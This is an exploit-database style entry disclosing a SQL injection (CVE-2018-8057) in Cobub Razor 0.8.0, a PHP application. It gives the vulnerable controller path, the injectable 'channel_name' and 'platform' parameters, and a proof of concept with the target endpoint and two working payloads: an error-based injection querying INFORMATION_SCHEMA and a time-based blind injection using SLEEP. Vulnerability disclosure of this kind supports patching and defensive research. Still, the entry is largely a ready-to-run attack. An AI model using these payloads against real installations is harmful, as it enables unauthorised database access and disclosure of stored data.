Cobub razor 0.8.0 sql injection Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2018-04-16 | Type : webapps | Platform : php
This exploit / vulnerability Cobub razor 0.8.0 sql injection is for educational purposes only and if it is used you will do on your own risk!

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# Exploit Title: Cobub Razor 0.8.0 SQL injection Vulnerability
# Date: 2018-04-16
# Exploit Author: Kyhvedn（yinfengwuyueyi@163.com、kyhvedn@5ecurity.cn）
# Vendor Homepage: http://www.cobub.com/
# Software Link: https://github.com/cobub/razor
# Version: 0.8.0
# CVE : CVE-2018-8057



The string of the 'channel_name' and 'platform' parameter transmission is completely without check and filter,so if the string is passed, it will lead to the existence of SQL injection vulnerability,This could result in full information disclosure.


Code source:
/application/controllers/manage/channel.php at line 75-95


The SQL injection type: error-based and AND/OR time-based blind
Parameter: channel_name,platform


PoC:


http://localhost/index.php?/manage/channel/addchannel
POST data:
1.channel_name=test" AND (SELECT 1700 FROM(SELECT COUNT(*),CONCAT(0x7171706b71,(SELECT (ELT(1700=1700,1))),0x71786a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- JQon&platform=1
2.channel_name=test" AND SLEEP(5)-- NklJ&platform=1